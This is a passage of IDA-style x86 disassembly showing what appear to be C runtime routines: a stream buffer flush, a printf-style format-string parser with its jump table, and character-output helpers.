		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43D0C8
		jz	short loc_41F5EA
		cmp	esi, offset dword_43D0E8
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43D010


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: .packed:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: .packed:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: .packed:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: .packed:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: .packed:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: .packed:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: .packed:off_41FDC0o
		mov	ecx, off_43C9B8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: .packed:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43CBD4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43CBD0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43CF60
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF6C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF64
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43CBD0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
